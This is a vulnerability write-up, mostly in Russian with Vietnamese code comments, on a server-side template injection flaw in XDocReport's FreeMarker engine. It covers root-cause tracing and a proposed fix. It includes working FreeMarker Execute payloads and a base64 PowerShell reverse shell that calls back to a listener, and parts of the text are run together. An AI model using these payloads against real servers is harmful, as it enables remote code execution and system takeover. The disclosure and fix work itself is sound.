
CVE-2025-64087 (SSTI)
Обзор уязвимости
Server-Side Template Injection (SSTI) — это уязвимость веб-безопасности, позволяющая злоумышленникам внедрять вредоносный код в шаблоны, используемые системами управления контентом (CMS) и веб-фреймворками, с целью удаленных атак, кражи конфиденциальной информации или выполнения несанкционированных действий в системе.
SSTI является разновидностью уязвимости внедрения (как SQL Injection, XSS и т.д.), при которой злоумышленники используют системы шаблонов для удаленного развертывания вредоносного кода. При успешной атаке SSTI злоумышленник может выполнить собственный код на стороне сервера, что позволяет проводить удаленные атаки, такие как сбор конфиденциальной информации, выполнение несанкционированных операций в системе и доступ к неавторизованным ресурсам.
Уязвимость SSTI часто возникает из-за использования небезопасных систем шаблонов или отсутствия проверки и обработки входных параметров перед их вставкой в шаблоны. В случае успешной атаки SSTI последствия могут быть серьезными и привести к значительному ущербу для атакованной организации.
Влияние на бизнес
Уязвимость SSTI может привести к множеству серьезных последствий, в том числе:
Выполнение вредоносного кода: злоумышленник может использовать эту уязвимость для выполнения вредоносного кода на сервере, что позволяет похитить данные, совершить незаконные действия в системе или даже полностью захватить контроль над сервером.
Раскрытие конфиденциальной информации: SSTI может позволить злоумышленнику читать, изменять или удалять файлы на сервере. Если эти файлы содержат конфиденциальную информацию, такую как учетные записи и пароли, злоумышленник может легко получить к ней доступ.
Угрозы или фишинг пользователей: злоумышленник может использовать SSTI для проведения угроз или фишинговых атак, изменяя содержимое веб-страницы или добавляя поддельные кастомные кнопки. Если пользователь нажмет на эти кнопки, злоумышленник может похитить его данные или установить вредоносное ПО на его компьютер.
A Server-Side Template Injection (SSTI) vulnerability was found in OpenSAGRES XDocReport when processing DOCX templates with the FreeMarker engine. Under certain configurations, crafted templates can lead to Remote Code Execution (RCE).
Веб-приложение для управления персоналом позволяет пользователям загружать файлы документов .docx в систему. В процессе обработки приложение использует шаблонизатор FreeMarker (в файле FreemarkerTemplateEngine.java) для рендеринга содержимого ${"freemarker.template.utility.Execute"?new()("whoami")} без механизма контроля или фильтрации входных данных.
Эта уязвимость позволяет злоумышленнику вставлять вредоносные выражения в файл .docx (шаблон), что приводит к удаленному выполнению кода (RCE) на сервере и может быть использовано для кражи информации или захвата управления системой.
fr.opensagres.xdocreport.template.freemarker — XDocReport (версии 1.0.0 – 2.1.0).
https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java не выполняется проверка содержимого входного файла xdoc. Содержимое шаблона загружается напрямую и передается в process(context, writer, template) для обработки движком FreeMarker без изолированной среды (sandboxing) или ограничений на директивы/выражения. В результате злоумышленник может предоставить шаблон, содержащий вредоносные выражения/команды FreeMarker, что приводит к удаленному выполнению кода (RCE)..docx, содержимое которого представляет собой следующий payload:```
${"freemarker.template.utility.Execute"?new()("calc")}
2. Видим, что выполнение прошло успешно и открылось приложение calc

3. Аналогично, чтобы получить информацию о пользователе, работающем в системе, с помощью payload:```
${"freemarker.template.utility.Execute"?new()("whoami")}
.docx после обработки шаблонизатором вернул данные системы.


6. Повышение воздействия до RCE
- Слушающая машина — wsl с IP-адресом `172.26.208.130`

- Эксплуатация с помощью следующей полезной нагрузки:
```java
${"freemarker.template.utility.Execute"?new()("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAyADYALgAyADAAOAAuADEAMwAwACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==")}
.docx в xdocreport для обработкиxdocreport\template\fr.opensagres.xdocreport.template.freemarker\src\main\java\fr\opensagres\xdocreport\template\freemarker\FreemarkerTemplateEngine.java добавляем следующее содержимоеМоё исправление по-прежнему позволяет обычный рендеринг объектов и свойств, например ${cuong.name}, и блокирует только опасные встроенные функции.
${'freemarker.template.utility.Execute'?new()('calc')} — ЗАБЛОКИРОВАНО через ALLOWS_NOTHING_RESOLVER${'java.lang.Runtime'?api.getRuntime()} — ЗАБЛОКИРОВАНО через setAPIBuiltinEnabled(false)?new() и ?api, заблокированыПуть: template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java
Изменения:
✅ Добавлен импорт: java.util.regex.Pattern
✅ Добавлен метод validateTemplateSecurity(Reader reader) — Проверяет опасные шаблоны
✅ Обновлён processNoCache() — Добавлена проверка перед созданием шаблона
✅ Обновлён process(String templateName, …) — Добавлена проверка в этот метод
Путь: template/fr.opensagres.xdocreport.template.freemarker/src/test/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngineSecurityTestCase.java
Изменения:
${"freemarker.template.utility.Execute"?new()("whoami")}?new, java.lang.Runtime, java.lang.ProcessBuilder и т.д.| Файл | Тип изменения | Назначение |
|---|---|---|
| FreemarkerTemplateEngine.java | Изменён | Добавлена защита от SSTI |
| FreemarkerTemplateEngineSecurityTestCase.java | Новый файл | Тестирует логику проверки |
В версии 2.2.0 включён механизм защиты, успешно предотвращающий SSTI
import fr.opensagres.xdocreport.document.IXDocReport; import fr.opensagres.xdocreport.document.registry.XDocReportRegistry; import fr.opensagres.xdocreport.template.IContext; import fr.opensagres.xdocreport.template.TemplateEngineKind;
import java.io.*; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.InputStream; import java.io.OutputStream;
public class Main {
public static void main(String[] args) {
try {
// Đọc file đầu vào chứa biểu thức Velocity
File docxTemplate = new File("C:\\Users\\HP\\Downloads\\vcspentest.docx"); // File đầu vào
InputStream input = new FileInputStream(docxTemplate);
// Load template sử dụng FreeMarker
IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);
// Tạo context - có thể để trống nếu chỉ test biểu thức độc lập
IContext context = report.createContext();
// Xuất ra file mới
OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
report.process(context, out);
System.out.println("✅ Đã tạo file result.docx thành công.");
} catch (Exception e) {
System.err.println("❌ Lỗi xử lý file:");
e.printStackTrace();
}
}
}
- Необходимая библиотека для import```xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>vcs1</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>18</maven.compiler.source>
<maven.compiler.target>18</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<!-- Template engine: FreeMarker -->
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
<version>2.1.0</version>
</dependency>
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
<version>2.0.3</version>
</dependency>
</dependencies>
</project>
A Точки входа (entry points / sources)```java File docxTemplate = new File("C:\Users\HP\Downloads\vcspentest.docx");
→ source главным образом является этот файл DOCX — если файл загружается/записывается пользователем, содержимое шаблона внутри (синтаксис FreeMarker) является ненадёжными данными.```
InputStream input = new FileInputStream(docxTemplate);
→ прочитать содержимое файла для передачи XDocReport.```java IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);
- loadReport(...) будет разбирать (парсить) файл DOCX, находить entry/template в DOCX и создавать IXDocReport (внутри он будет инициализировать объект Template FreeMarker или удерживать reader для template).
- Содержимое template в файле DOCX теперь находится в объекте report (ещё не выполнен).


zipInputStream.getNextEntry() перебирает каждую entry (каждый файл) внутри ZIP (.docx).
archive = new XDocArchive(...) — если архива ещё нет, то инициализируется объект для организации/регистрации entry документа.

Итог: этот фрагмент распаковывает содержимое DOCX во внутреннюю структуру (XDocArchive), чтобы последующая часть могла получить доступ к дочерним файлам (document.xml,...)```java
private IXDocReport loadReport( InputStream sourceStream, String reportId, String templateEngineKind,
ITemplateEngine templateEngine, boolean cacheReport )
throws IOException, XDocReportException
{
initializeIfNeeded();
// 2) zip was loaded, create an instance of report
IXDocReport report = createReport( sourceStream );
// 3) Update the report id if need.
if ( StringUtils.isEmpty( reportId ) )
{
reportId = report.toString();
}
report.setId( reportId );
// 4) Search or set the template engine.
if ( templateEngine == null && StringUtils.isNotEmpty( templateEngineKind ) )
{
// Template engine was not forced.
// Search template engine
String documentKind = report.getKind();
templateEngine =
TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, documentKind );
if ( templateEngine == null )
{
templateEngine =
TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, null );
}
}
report.setTemplateEngine( templateEngine );
if ( cacheReport )
{
registerReport( report );
}
return report;
}
| Bước | Hành động | Mục đích |
|---|---|---|
| 1 | Đọc file DOCX | Lấy cấu trúc báo cáo gốc |
| 2 | Tạo IXDocReport | Đại diện cho template |
| 3 | Gán ID | Quản lý duy nhất |
| 4 | Chọn template engine | Để xử lý biểu thức (Freemarker/Velocity) |
| 5 | Cache nếu cần | Tối ưu hiệu suất |
| 6 | Trả về report | Dùng để render file kết quả |
Tóm lại không có cơ chế kiểm tra SSTI tại IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker); mà chỉ load các file xml trong docx và trả về IXDocReport report đã sẵn sàng để xử lý (ví dụ render, merge dữ liệu…).
tại report.process(context, out);
đi sâu vào bên trong hàm này có gọi đến preprocess(...) phân tích XML đọc từng entry XML, sau đó Parse nội dung XML và tạo BufferedDocument rồi ghi ra Writer (đây là bản XML đã được xử lý sơ bộ).
```java
public boolean preprocess( String entryName, InputStream reader, Writer writer, FieldsMetadata fieldsMetadata,
IDocumentFormatter formatter, Map<String, Object> sharedContext )
throws XDocReportException, IOException
{
try
{
XMLReader xmlReader = XMLReaderFactory.createXMLReader();
BufferedDocumentContentHandler<?> contentHandler =
createBufferedDocumentContentHandler( entryName, fieldsMetadata, formatter, sharedContext );
xmlReader.setContentHandler( contentHandler );
xmlReader.parse( new InputSource( reader ) );
BufferedDocument document = contentHandler.getBufferedDocument();
if ( document != null )
{
document.save( writer );
// StringWriter s = new StringWriter();
// document.save( s );
// System.err.println( s );
return true;
}
return false;
}
catch ( SAXException e )
{
throw new XDocReportException( e );
}
}

затем он переходит в `processNoCache()` и вызывает `getReader()`


Функция `getReader()` используется для добавления обёртки escape directive вокруг всего шаблона, чтобы гарантировать безопасную обработку содержимого (экранирование HTML, предотвращение инъекций).

Исходный шаблон:```xml
<w:p>
<w:t>Hello ${name}!</w:t>
</w:p>
После обработки getReader():```xml [#-- Hello ${name}! [/#escape][#--]]>--]
это помогает Freemarker engine читать более безопасно:
- Защита XML: экранирование специальных символов в XML
- Безопасная обработка: предотвращение ошибок при парсинге шаблонов Freemarker
затем вызывается `FMParser` для разбора синтаксиса Freemarker

наконец, в `process()` вызывается `environment.process();` и reader данных```
public void process() throws TemplateException, IOException {
Object savedEnv = threadEnv.get();
threadEnv.set(this);
try {
// Cached values from a previous execution are possibly outdated.
clearCachedValues();
try {
doAutoImportsAndIncludes(this);
visit(getTemplate().getRootTreeNode());
// It's here as we must not flush if there was an exception.
if (getAutoFlush()) {
out.flush();
}
} finally {
// It's just to allow the GC to free memory...
clearCachedValues();
}
} finally {
threadEnv.set(savedEnv);
}
}
👉 Это самый важный шаг — здесь происходит фактический рендеринг.
getTemplate() возвращает разобранный шаблон (AST).
getRootTreeNode() — корневой узел синтаксического дерева, созданного FMParser при разборе.
visit() — это основное API FreeMarker, используемое для обхода и рендеринга каждого элемента шаблона, и определяется в freemarker.core.Environment
Встречается TextBlock → записывает текст в out.
Встречается Interpolation (например, ${user.name}) → ищет в dataModel, получает значение, записывает в out.
Встречается #if, #list, #include, macro → обрабатывает соответствующую логику.```java void visit(TemplateElement element) throws IOException, TemplateException { // ATTENTION: This method body is manually "inlined" into visit(TemplateElement[]); keep them in sync! pushElement(element); try { TemplateElement[] templateElementsToVisit = element.accept(this); if (templateElementsToVisit != null) { for (TemplateElement el : templateElementsToVisit) { if (el == null) { break; // Skip unused trailing buffer capacity } visit(el); } } } catch (TemplateException te) { handleTemplateException(te); } finally { popElement(); } // ATTENTION: This method body above is manually "inlined" into visit(TemplateElement[]); keep them in sync! }



оно срабатывает на entryName `word/document.xml`

далее переходит в функцию `accept()`
```java
TemplateElement[] accept(Environment env) throws TemplateException, IOException {
final Object moOrStr = calculateInterpolatedStringOrMarkup(env);
final Writer out = env.getOut();
if (moOrStr instanceof String) {
final String s = (String) moOrStr;
if (autoEscape) {
markupOutputFormat.output(s, out);
} else {
out.write(s);
}
} else {
final TemplateMarkupOutputModel mo = (TemplateMarkupOutputModel) moOrStr;
final MarkupOutputFormat moOF = mo.getOutputFormat();
// ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic!
if (moOF == outputFormat) {
moOF.output(mo, out);
} else if (!outputFormat.isOutputFormatMixingAllowed()) {
final String srcPlainText;
// ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic!
srcPlainText = moOF.getSourcePlainText(mo);
if (srcPlainText == null) {
throw new _TemplateModelException(escapedExpression,
"The value to print is in ", new _DelayedToString(moOF),
" format, which differs from the current output format, ",
new _DelayedToString(outputFormat), ". Format conversion wasn't possible.");
}
if (markupOutputFormat != null) {
markupOutputFormat.output(srcPlainText, out);
} else {
out.write(srcPlainText);
}
} else if (markupOutputFormat != null) {
markupOutputFormat.outputForeign(mo, out);
} else {
moOF.output(mo, out);
}
}
return null;
}
```java
final TemplateModel eval(Environment env) throws TemplateException {
try {
return constantValue != null ? constantValue : _eval(env);
} catch (FlowControlException | TemplateException e) {
throw e;
} catch (Exception e) {
if (env != null && EvalUtil.shouldWrapUncheckedException(e, env)) {
throw new _MiscTemplateException(
this, e, env, "Expression has thrown an unchecked exception; see the cause exception.");
} else if (e instanceof RuntimeException) {
throw (RuntimeException) e;
} else {
throw new UndeclaredThrowableException(e);
}
}
}









поток выполнения в функции `visit()` следующий```
visit(Interpolation) // gọi accept(...)
└─ Interpolation.accept(env)
└─ calculateInterpolatedStringOrMarkup(env)
└─ expression.eval(env)
└─ (đến _eval) target.eval(env) // trả TemplateMethodModel (built-in new()/Execute)
└─ targetMethod.exec(arguments) ← exec() thực thi -> chạy `calc` ← 💥 SSTI xảy ra ở đây
[User uploads DOCX template]
│
▼
┌──────────────────────────────────────────┐
│ XDocReportRegistry.loadReport(...) │
│ - Nhận InputStream (file .docx) │
│ - Xác định TemplateEngineKind=Freemarker│
│ - Gọi createReport(...) │
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ FreemarkerTemplateEngine.loadTemplate() │
│ - Gọi new Template(templateName, Reader,│
│ Configuration) │
│ - => FMParser parse nội dung template │
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ FMParser(this, reader, config) │
│ - Đọc nội dung file (XML trong DOCX) │
│ - Phân tích cú pháp │
│ Tạo AST (cây cú pháp): │
│ ├─ TextBlock ("Hello") │
│ ├─ DollarVariable (${name}) │
│ └─ FunctionCall (${Runtime.exec(...)})│
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ Environment env = │
│ template.createProcessingEnvironment() │
│ env.process() │
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ Environment.process() │
│ - clearCachedValues() │
│ - doAutoImportsAndIncludes() │
│ - visit(getTemplate().getRootTreeNode())│
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ visit(TemplateElement node) │
│ - node.accept(env) │
│ - Ghi kết quả ra writer (output stream) │
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ Nếu node là ${...} │
│ ⇒ ExpressionEvaluator được gọi │
│ ⇒ eval() biểu thức bên trong ${} │
│ ⇒ Có thể truy cập method Java nếu chưa │
│ bị sandbox hoặc hạn chế │
│ ⇒ Ví dụ: ${"freemarker.template.utility.Execute"?new()("calc.exe")} │
└──────────────────────────────────────────┘
│
▼
🚨 Kết quả: Server-Side Template Injection (SSTI)
## 🔍 **Краткий обзор ключевых эксплуатируемых моментов**
| Этап | Класс | Роль | Отношение к SSTI |
| ----------------------- | --------------------- | --------------------- | --------------------------- |
| `loadReport()` | `XDocReportRegistry` | Загрузка шаблона | Неконтролируемый ввод |
| `getReader()` | `TemplateEngine` | Чтение данных шаблона | Может содержать пейлоад |
| `FMParser` | `freemarker.core` | Разбор содержимого | Переменная `${}` анализируется |
| `Environment.process()` | `freemarker.core` | Рендеринг шаблона | Вызов `visit()` для каждого узла |
| `visit()` / `eval()` | `freemarker.core` | Выполнение выражения | **Точка SSTI / RCE** |
---
## Документация
- https://drive.google.com/drive/folders/1XYFtxs5O3SMW0FemNMZ_1ft1ueFixhVz?usp=drive_link